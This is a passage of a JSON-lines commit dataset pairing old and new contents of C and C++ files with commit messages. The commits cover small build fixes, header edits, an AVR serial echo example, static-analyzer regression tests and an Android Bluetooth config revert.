process setgid,\nsince this can be very helpful to svn+ssh users.  Quoting from the\ncomments:\n\n * The idea is to avoid the problem that some interpreters like bash\n * invoked by svnserve in hook scripts will reset the effective gid to\n * the real gid, nuking the effect of an ordinary setgid svnserve binary.\n * Sadly, to set the real gid portably, you need to be root, if only\n * for a moment.\n * Also smashes the environment to something known, so that games\n * can't be played to try to break the security of the hook scripts,\n * by setting IFS, PATH, and similar means.\n\n* tools\/examples\/svnserve-sgid.c:  new file.\n\n\ngit-svn-id: f8a4e5e023278da1e04e203c7fe051e3c4285d88@848920 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"YueLinHo\/Subversion,wbond\/subversion,wbond\/subversion,wbond\/subversion,wbond\/subversion,YueLinHo\/Subversion,wbond\/subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,YueLinHo\/Subversion,wbond\/subversion,wbond\/subversion"}
{"commit":"2d8090ba343ab90bdd7292bc47beb619c95a01d8","old_file":"src\/Application\/WebSocketServerModule\/WebSocketServerModuleApi.h","new_file":"src\/Application\/WebSocketServerModule\/WebSocketServerModuleApi.h","old_contents":"\/\/ For conditions of distribution and use, see copyright notice in LICENSE\n\n#pragma once\n\n#if defined (_WINDOWS)\n#if defined(WEBSOCKET_MODULE_EXPORTS)\n#define WEBSOCKET_SERVER_MODULE_API __declspec(dllexport)\n#else\n#define WEBSOCKET_SERVER_MODULE_API __declspec(dllimport)\n#endif\n#else\n#define WEBSOCKET_MODULE_API\n#endif\n","new_contents":"\/\/ For conditions of distribution and use, see copyright notice in LICENSE\n\n#pragma once\n\n#if defined (_WINDOWS)\n#if defined(WEBSOCKET_MODULE_EXPORTS)\n#define WEBSOCKET_SERVER_MODULE_API __declspec(dllexport)\n#else\n#define WEBSOCKET_SERVER_MODULE_API __declspec(dllimport)\n#endif\n#else\n#define WEBSOCKET_SERVER_MODULE_API\n#endif\n","subject":"Correct macro spelling to fix Linux build","message":"Correct macro spelling to fix Linux build\n","lang":"C","license":"apache-2.0","repos":"pharos3d\/tundra,AlphaStaxLLC\/tundra,BogusCurry\/tundra,pharos3d\/tundra,AlphaStaxLLC\/tundra,AlphaStaxLLC\/tundra,AlphaStaxLLC\/tundra,BogusCurry\/tundra,AlphaStaxLLC\/tundra,BogusCurry\/tundra,realXtend\/tundra,realXtend\/tundra,BogusCurry\/tundra,realXtend\/tundra,BogusCurry\/tundra,pharos3d\/tundra,realXtend\/tundra,realXtend\/tundra,pharos3d\/tundra,BogusCurry\/tundra,realXtend\/tundra,pharos3d\/tundra,AlphaStaxLLC\/tundra,pharos3d\/tundra"}
{"commit":"a55f6156402a709ea15338d5cf587b4f172c67ff","old_file":"libc\/mbstr\/mbschr.c","new_file":"libc\/mbstr\/mbschr.c","old_contents":"#include <mbstr.h>\n#include <stdlib.h>\n#include \"..\/intern.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nchar* __mbschr (char* str, mbchar_t c)\n{\n    if (c < 0x80) {\n        return __strchr(str, c);\n    }\n    else {\n        char buf[sizeof(mbchar_t)+1];\n        *((mbchar_t*)buf) = c;\n        buf[__min(sizeof(mbchar_t),MBMAXLEN)] = '\\0';\n        return __strstr(str, buf);\n    }\n}\n\nchar* mbschr (char* str, mbchar_t c) \\\n    _WEAK_ALIAS_OF(\"__mbschr\");\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include <mbstr.h>\n#include <stdlib.h>\n#include \"..\/intern.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nchar* __mbschr (char* str, mbchar_t c)\n{\n    if (c < 0x80) {\n        return __strchr(str, c);\n    }\n    else {\n        char buf[sizeof(mbchar_t)+1];\n        *((mbchar_t*)buf) = c;\n        buf[__min(sizeof(mbchar_t),(size_t)MBMAXLEN)] = '\\0';\n        return __strstr(str, buf);\n    }\n}\n\nchar* mbschr (char* str, mbchar_t c) \\\n    _WEAK_ALIAS_OF(\"__mbschr\");\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Fix compilation error, cast was missing","message":"Fix compilation error, cast was missing\n","lang":"C","license":"mit","repos":"kristapsk\/reclib,kristapsk\/resclib,kristapsk\/resclib,kristapsk\/reclib"}
{"commit":"a46108cfddd5e859264290574a47491bbcd6f5a3","old_file":"firmware\/echo_isr.c","new_file":"firmware\/echo_isr.c","old_contents":"","new_contents":"\/\/ Takes in a character at a time and sends it right back out,\n\/\/ displaying the ASCII value on the LEDs.\n\/\/ Uses interrupt system instead of a blocking read.\n\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n#include <util\/delay.h>\n#include \"USART.h\"\n\n\/\/ Single character for serial TX\/RX and \"byte received\" flag\nvolatile char a;\nvolatile uint8_t newbyte;\n\n\/\/ Run when USART receives a new byte.\n\/\/ Reading from and writing to UDR0 trigger critical side-effects.\n\/\/ UDR0 *must* be read inside this ISR.\n\/\/ Otherwise, RXC0 will not be cleared, and another interrupt will follow.\n\/\/ See 20.7.3 in the datasheet.\nISR(USART_RX_vect)\n{\n  a = UDR0; \/\/ Assigning to an lvalue also clears RXC0\n  UDR0 = a; \/\/ Writes to TX shift register (echoes a back out)\n  newbyte = 1;\n}\n\nint main(void)\n{\n  initUSART();\n\n  \/\/ Set the RX Complete Interrupt Enable 0 bit\n  UCSR0B |= (1 << RXCIE0);\n  sei();\n\n  \/\/ All DDRB pins to output mode\n  DDRB = 0xff;\n\n  newbyte = 0;\n  while (1)\n  {\n    \/\/ Light up PORTB in the ASCII binary representation of a\n    if (newbyte)\n    {\n      PORTB = a;\n      newbyte = 0;\n    }\n  }\n\n  return 0;\n}\n","subject":"Use ISR for serial loopback instead of a blocking read","message":"Use ISR for serial loopback instead of a blocking read\n","lang":"C","license":"mit","repos":"andrewadare\/avr-breadboarding,andrewadare\/avr-breadboarding"}
{"commit":"f9f56ea22cfd81dad7c66f78e8a5b5e3965ec16e","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.31f;\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.32f;\r\n","subject":"Increment version number to 1.32","message":"Increment version number to 1.32\n","lang":"C","license":"apache-2.0","repos":"ariccio\/UIforETW,MikeMarcin\/UIforETW,google\/UIforETW,google\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW,ariccio\/UIforETW,MikeMarcin\/UIforETW,ariccio\/UIforETW,mwinterb\/UIforETW,mwinterb\/UIforETW,MikeMarcin\/UIforETW,google\/UIforETW"}
{"commit":"f8d56baf158ded41a738afb5f0be745b753d86c6","old_file":"tests\/regression\/21-casts\/04-neg-to-unsigned-invariant.c","new_file":"tests\/regression\/21-casts\/04-neg-to-unsigned-invariant.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.def_exc --enable ana.int.interval\n\/\/ ldv-benchmarks: u__linux-concurrency_safety__drivers---net---ethernet---amd---pcnet32.ko.c\n#include <assert.h>\n\nint main() {\n  int debug_value = -1;\n\n  if ((unsigned int)debug_value > 31U)\n    assert(1); \/\/ reachable\n  else\n    assert(1); \/\/ NOWARN (unreachable)\n\n  return 0;\n}","subject":"Add unsound negative int to unsigned int branch invariant test","message":"Add unsound negative int to unsigned int branch invariant test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"25ceb6c0fbaa0623bd2f195fd97a33955d2099e5","old_file":"common\/c_cpp\/src\/cpp\/wombat\/Lock.h","new_file":"common\/c_cpp\/src\/cpp\/wombat\/Lock.h","old_contents":"\/*\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Technologies, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n#ifndef LockCppH__\n#define LockCppH__\n\n#include <memory>\n\nnamespace Wombat {\n\nclass COMMONExpDLL Lock\n{\npublic:\n    Lock       ();\n    ~Lock      ();\n\n    void lock   ();\n    void unlock ();\nprivate:\n    Lock (const Lock& copy);    \/\/ no copy\n    Lock& operator= (const Lock& rhs); \/\/ no assignment\n\n    struct LockImpl;\n    std::auto_ptr <LockImpl> mImpl;\n};\n\n}\n#endif\n","new_contents":"\/*\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Technologies, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n#ifndef LockCppH__\n#define LockCppH__\n\n#include <memory>\n#include \"wombat\/wConfig.h\"\n\nnamespace Wombat {\n\nclass COMMONExpDLL Lock\n{\npublic:\n    Lock       ();\n    ~Lock      ();\n\n    void lock   ();\n    void unlock ();\nprivate:\n    Lock (const Lock& copy);    \/\/ no copy\n    Lock& operator= (const Lock& rhs); \/\/ no assignment\n\n    struct LockImpl;\n    std::auto_ptr <LockImpl> mImpl;\n};\n\n}\n#endif\n","subject":"Build error when openmama patch for VS solution files caused Enterprise build fail.","message":"Build error when openmama patch for VS solution files caused Enterprise build fail.\n\nModification to Lock.h to correct build error when openmama patch for\nMicrosoft Visual Studio solution file updates caused Enterprise build to\nfail.\n\nSigned-off-by: A Ambrose <adf778e8f047b26f3e0544674b3bfe8e328348f7@nyx.com>\n","lang":"C","license":"lgpl-2.1","repos":"dpauls\/OpenMAMA,fquinner\/OpenMAMA,philippreston\/OpenMAMA,cloudsmith-io\/openmama,philippreston\/OpenMAMA,philippreston\/OpenMAMA,MattMulhern\/OpenMAMA,kuangtu\/OpenMAMA,philippreston\/OpenMAMA,vulcanft\/openmama,cloudsmith-io\/openmama,kuangtu\/OpenMAMA,fquinner\/OpenMAMA,vulcanft\/openmama,philippreston\/OpenMAMA,fquinner\/OpenMAMA,fquinner\/OpenMAMA,philippreston\/OpenMAMA,vulcanft\/openmama,MattMulhern\/OpenMAMA,cloudsmith-io\/openmama,dpauls\/OpenMAMA,MattMulhern\/OpenMAMA,MattMulhern\/OpenMAMA,kuangtu\/OpenMAMA,dpauls\/OpenMAMA,vulcanft\/openmama,vulcanft\/openmama,dpauls\/OpenMAMA,dpauls\/OpenMAMA,MattMulhern\/OpenMAMA,kuangtu\/OpenMAMA,MattMulhern\/OpenMAMA,philippreston\/OpenMAMA,kuangtu\/OpenMAMA,dpauls\/OpenMAMA,dpauls\/OpenMAMA,cloudsmith-io\/openmama,kuangtu\/OpenMAMA,MattMulhern\/OpenMAMA,vulcanft\/openmama,cloudsmith-io\/openmama,kuangtu\/OpenMAMA,fquinner\/OpenMAMA,fquinner\/OpenMAMA,cloudsmith-io\/openmama,fquinner\/OpenMAMA,vulcanft\/openmama,cloudsmith-io\/openmama"}
{"commit":"a6392ad0dff652abebd47b5c2eb0dfc08a44c31c","old_file":"content\/public\/browser\/devtools_frontend_window.h","new_file":"content\/public\/browser\/devtools_frontend_window.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#define CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#pragma once\n\nclass TabContents;\n\nnamespace content {\n\nclass DevToolsFrontendWindowDelegate;\n\n\/\/ Installs delegate for DevTools front-end loaded into |client_tab_contents|.\nvoid SetupDevToolsFrontendDelegate(\n    TabContents* client_tab_contents,\n    DevToolsFrontendWindowDelegate* delegate);\n\n}\n\n#endif  \/\/ CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#define CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n#pragma once\n\nclass TabContents;\n\nnamespace content {\n\nclass DevToolsFrontendWindowDelegate;\n\n\/\/ Installs delegate for DevTools front-end loaded into |client_tab_contents|.\nCONTENT_EXPORT void SetupDevToolsFrontendDelegate(\n    TabContents* client_tab_contents,\n    DevToolsFrontendWindowDelegate* delegate);\n\n}\n\n#endif  \/\/ CONTENT_PUBLIC_BROWSER_DEVTOOLS_FRONTEND_WINDOW_H_\n","subject":"Add missing CONTENT_EXPORT to fix Linux shared build after r112415","message":"Add missing CONTENT_EXPORT to fix Linux shared build after r112415\n\nBUG=104625\nTEST=None\nTBR=pfeldman\n\nReview URL: http:\/\/codereview.chromium.org\/8763022\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@112420 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium"}
{"commit":"ac903d665741e8cc28268da5804c891aea60c681","old_file":"bluetooth\/bdroid_buildcfg.h","new_file":"bluetooth\/bdroid_buildcfg.h","old_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#define BLE_VND_INCLUDED TRUE\n#define BTM_BLE_ADV_TX_POWER {-21, -15, -7, 1, 9}\n\n\/* Defined if the kernel does not have support for CLOCK_BOOTTIME_ALARM *\/\n#define KERNEL_MISSING_CLOCK_BOOTTIME_ALARM TRUE\n#endif\n","new_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#define BLE_VND_INCLUDED TRUE\n#define BTM_BLE_ADV_TX_POWER {-21, -15, -7, 1, 9}\n#endif\n","subject":"Revert \"bluetooth: Our kernel is missing CLOCK_BOOTTIME_ALARM (alarmtimer)\"","message":"Revert \"bluetooth: Our kernel is missing CLOCK_BOOTTIME_ALARM (alarmtimer)\"\n\nThis reverts commit 69cbe06c3c482cf78fa71b7e89c470ab83626523.\n\nChange-Id: I34af7e9f564dd88654e105ea36d4a83d15d9acad\n","lang":"C","license":"apache-2.0","repos":"maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead"}
{"commit":"03ad95c6c78b235b5ef946d0e4f80f161a0a35bd","old_file":"includes\/consolelogger.h","new_file":"includes\/consolelogger.h","old_contents":"\/\/ Copyright 2016 Pierre Fourgeaud\n\n#ifndef PF_CONSOLELOGGER_H_\n#define PF_CONSOLELOGGER_H_\n\n#include <iostream>\n#include <string>\n#include \".\/iloglistener.h\"\n#include \".\/Logger.h\"\n\n\/**\n * @brief The FileLogger class\n *\n * Logger that will write the ouput to the console (cerr or cout depending on log level)\n *\/\nclass ConsoleLogger : public ILogListener {\npublic:\n    ConsoleLogger() {}\n\n    \/**\n     * Virtual destructor\n     *\/\n    virtual ~ConsoleLogger() {}\n\n    \/**\n     * @brief Notify Mandatory method to implement for every log listener.\n     *        Will be called everytime there is a new message to ouput it to the console.\n     *\n     *        if iLevel Critical or Error, output to cerr, otherwise to cout\n     *\n     * @param iLog The message\n     * @param iLevel The log level\n     *\/\n    virtual void Notify(const std::string& iMsg, ELogLevel iLevel) {\n        if (iLevel <= ELogLevel::Error) {\n            std::cerr << iMsg;\n        } else {\n            std::cout << iMsg;\n        }\n    }\n};\n\n#endif \/\/ PF_CONSOLELOGGER_H_\n","new_contents":"\/\/ Copyright 2016 Pierre Fourgeaud\n\n#ifndef PF_CONSOLELOGGER_H_\n#define PF_CONSOLELOGGER_H_\n\n#include <iostream>\n#include <string>\n#include \".\/iloglistener.h\"\n#include \".\/logger.h\"\n\n\/**\n * @brief The FileLogger class\n *\n * Logger that will write the ouput to the console (cerr or cout depending on log level)\n *\/\nclass ConsoleLogger : public ILogListener {\npublic:\n    ConsoleLogger() {}\n\n    \/**\n     * Virtual destructor\n     *\/\n    virtual ~ConsoleLogger() {}\n\n    \/**\n     * @brief Notify Mandatory method to implement for every log listener.\n     *        Will be called everytime there is a new message to ouput it to the console.\n     *\n     *        if iLevel Critical or Error, output to cerr, otherwise to cout\n     *\n     * @param iLog The message\n     * @param iLevel The log level\n     *\/\n    virtual void Notify(const std::string& iMsg, ELogLevel iLevel) {\n        if (iLevel <= ELogLevel::Error) {\n            std::cerr << iMsg;\n        } else {\n            std::cout << iMsg;\n        }\n    }\n};\n\n#endif \/\/ PF_CONSOLELOGGER_H_\n","subject":"Fix typo in include file","message":"Fix typo in include file\n","lang":"C","license":"mit","repos":"pierrefourgeaud\/SimpleLogger"}
{"commit":"9271608c9af71eec13691a5da6458c99791e833c","old_file":"tests\/regression\/01-cpa\/03-loops.c","new_file":"tests\/regression\/01-cpa\/03-loops.c","old_contents":"#include<stdio.h>\n#include<assert.h>\n\nint main () {\n  int i,j,k;\n\n  i = k = 0; j = 7;\n  while (i < 10) {\n    i++;\n    j = 7;\n    k = 5;\n  }\n  assert(i == 10); \/\/ UNKNOWN!\n  assert(k);  \/\/ UNKNOWN!\n  \/\/ k is currenlty 0 \\sqcup 5, if we unfolded the loops it would be 5\n  assert(j==7);\n  return 0;\n}\n","new_contents":"#include<stdio.h>\n#include<assert.h>\n\nint main () {\n  int i,j,k;\n\n  i = k = 0; j = 7;\n  while (i < 10) {\n    i++;\n    j = 7;\n    k = 5;\n  }\n  \/\/ assert(i == 10); \/\/ UNKNOWN!\n  \/\/ Removed this assertion as it is specific to flat ints and fails as soon as intervals or octagons correctly determine this\n  assert(k);  \/\/ UNKNOWN!\n  \/\/ k is currenlty 0 \\sqcup 5, if we unfolded the loops it would be 5\n  assert(j==7);\n  return 0;\n}\n","subject":"Remove assert specific to flat ints that will fail when using more poerful domain","message":"Remove assert specific to flat ints that will fail when using more poerful domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c9038d2b29279027889021bc952c34165e36e306","old_file":"tests\/wocky-xmpp-connection-test.c","new_file":"tests\/wocky-xmpp-connection-test.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <unistd.h>\n#include <glib.h>\n\n#include <wocky\/wocky-xmpp-connection.h>\n#include <wocky\/wocky-transport.h>\n#include \"test-transport.h\"\n\n#include <check.h>\n\nSTART_TEST (test_instantiation)\n{\n  WockyXmppConnection *connection;\n  TestTransport *transport;\n\n  g_type_init();\n\n  transport = test_transport_new(NULL, NULL);\n  connection = wocky_xmpp_connection_new(WOCKY_TRANSPORT(transport));\n\n  fail_if (connection == NULL);\n\n  connection = wocky_xmpp_connection_new(NULL);\n\n  fail_if (connection == NULL);\n}\nEND_TEST\n\nTCase *\nmake_wocky_xmpp_connection_tcase (void)\n{\n    TCase *tc = tcase_create (\"XMPP Connection\");\n    tcase_add_test (tc, test_instantiation);\n    return tc;\n}\n","subject":"Add a testcase for WockyXmppConnection and check its istantiation","message":"Add a testcase for WockyXmppConnection and check its istantiation\n\n20070613140235-f974e-38a23919dc403a05ad6852760c6b13bd9ad2e6f5.gz\n","lang":"C","license":"lgpl-2.1","repos":"noonien-d\/wocky,noonien-d\/wocky,noonien-d\/wocky,freedesktop-unofficial-mirror\/wocky,freedesktop-unofficial-mirror\/wocky,freedesktop-unofficial-mirror\/wocky"}
{"commit":"05a7836593e5b1100dba989a5b0045fed5a38dac","old_file":"io\/pipe_pair_simple.h","new_file":"io\/pipe_pair_simple.h","old_contents":"","new_contents":"#ifndef\tIO_PIPE_PAIR_SIMPLE_H\n#define\tIO_PIPE_PAIR_SIMPLE_H\n\n#include <io\/pipe_simple.h>\n#include <io\/pipe_simple_wrapper.h>\n\nclass PipePairSimple : public PipePair {\n\tPipeSimpleWrapper<PipePairSimple> *incoming_pipe_;\n\tPipeSimpleWrapper<PipePairSimple> *outgoing_pipe_;\nprotected:\n\tPipePairSimple(void)\n\t: incoming_pipe_(NULL),\n\t  outgoing_pipe_(NULL)\n\t{ }\npublic:\n\tvirtual ~PipePairSimple()\n\t{\n\t\tif (incoming_pipe_ != NULL) {\n\t\t\tdelete incoming_pipe_;\n\t\t\tincoming_pipe_ = NULL;\n\t\t}\n\n\t\tif (outgoing_pipe_ != NULL) {\n\t\t\tdelete outgoing_pipe_;\n\t\t\toutgoing_pipe_ = NULL;\n\t\t}\n\t}\n\nprotected:\n\tvirtual bool incoming_process(Buffer *, Buffer *) = 0;\n\tvirtual bool outgoing_process(Buffer *, Buffer *) = 0;\n\npublic:\n\tPipe *get_incoming(void)\n\t{\n\t\tASSERT(incoming_pipe_ == NULL);\n\t\tincoming_pipe_ = new PipeSimpleWrapper<PipePairSimple>(this, &PipePairSimple::incoming_process);\n\t\treturn (incoming_pipe_);\n\t}\n\n\tPipe *get_outgoing(void)\n\t{\n\t\tASSERT(outgoing_pipe_ == NULL);\n\t\toutgoing_pipe_ = new PipeSimpleWrapper<PipePairSimple>(this, &PipePairSimple::outgoing_process);\n\t\treturn (outgoing_pipe_);\n\t}\n};\n\n#endif \/* !IO_PIPE_PAIR_SIMPLE_H *\/\n","subject":"Add PipePairSimple which allows a user to simply construct a single object which implements a PipePair.","message":"Add PipePairSimple which allows a user to simply construct a single object which\nimplements a PipePair.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"ad32eb7c376d6264b742f7686fffca48c06eb2c5","old_file":"Source\/Main\/XcodeEditor.h","new_file":"Source\/Main\/XcodeEditor.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  JASPER BLUES\n\/\/  Copyright 2012 Jasper Blues\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: Jasper Blues permits you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#import \"XCAbstractDefinition.h\"\n#import \"XCGroup.h\"\n#import \"XCClassDefinition.h\"\n#import \"XCFileOperationQueue.h\"\n#import \"XCFrameworkDefinition.h\"\n#import \"XCProject.h\"\n#import \"XCSourceFile.h\"\n#import \"XCSourceFileDefinition.h\"\n#import \"XCSubProjectDefinition.h\"\n#import \"XCTarget.h\"\n#import \"XCEnumUtils.h\"\n#import \"XCXibDefinition.h\"\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  JASPER BLUES\n\/\/  Copyright 2012 Jasper Blues\n\/\/  All Rights Reserved.\n\/\/\n\/\/  NOTICE: Jasper Blues permits you to use, modify, and distribute this file\n\/\/  in accordance with the terms of the license agreement accompanying it.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#import \"XCAbstractDefinition.h\"\n#import \"XCGroup.h\"\n#import \"XCClassDefinition.h\"\n#import \"XCFileOperationQueue.h\"\n#import \"XCFrameworkDefinition.h\"\n#import \"XCProject.h\"\n#import \"XCSourceFile.h\"\n#import \"XCSourceFileDefinition.h\"\n#import \"XCSubProjectDefinition.h\"\n#import \"XCTarget.h\"\n#import \"XCXibDefinition.h\"\n","subject":"Remove item from umbrella header.","message":"Remove item from umbrella header.\n","lang":"C","license":"apache-2.0","repos":"cezheng\/XcodeEditor,service2media\/XcodeEditor,appsquickly\/XcodeEditor,khanhtbh\/XcodeEditor,cezheng\/XcodeEditor,khanhtbh\/XcodeEditor,JoelGerboreLaser\/XcodeEditor,appsquickly\/XcodeEditor,appsquickly\/XcodeEditor,iosdevzone\/XcodeEditor,JoelGerboreLaser\/XcodeEditor,andyvand\/XcodeEditor"}
{"commit":"9d7ae5ba4e163fcc593f75d8f2c65ff09cec3d9a","old_file":"libaacs\/src\/util\/macro.h","new_file":"libaacs\/src\/util\/macro.h","old_contents":"","new_contents":"\n#ifndef MACRO_H_\n#define MACRO_H_\n\n#include <stdio.h>\n\n#define HEX_PRINT(X,Y) { int zz; for(zz = 0; zz < Y; zz++) fprintf(stderr, \"%02X\", X[zz]); fprintf(stderr, \"\\n\"); }\n#define MKINT_BE16(X) ( (X)[0] << 8 | (X)[1] )\n#define MKINT_BE24(X) ( (X)[0] << 16 | (X)[1] << 8 | (X)[2] )\n#define MKINT_BE32(X) ( (X)[0] << 24 | (X)[1] << 16 |  (X)[2] << 8 | (X)[3] )\n#define X_FREE(X) do { if (X) free(X); X = NULL; } while(0)\n\n#endif \/* MACRO_H_ *\/\n","subject":"Include required header in source","message":"Include required header in source\n","lang":"C","license":"lgpl-2.1","repos":"rraptorr\/libaacs,rraptorr\/libaacs,mwgoldsmith\/aacs,ShiftMediaProject\/libaacs,mwgoldsmith\/aacs,zxlooong\/libaacs,zxlooong\/libaacs,ShiftMediaProject\/libaacs"}
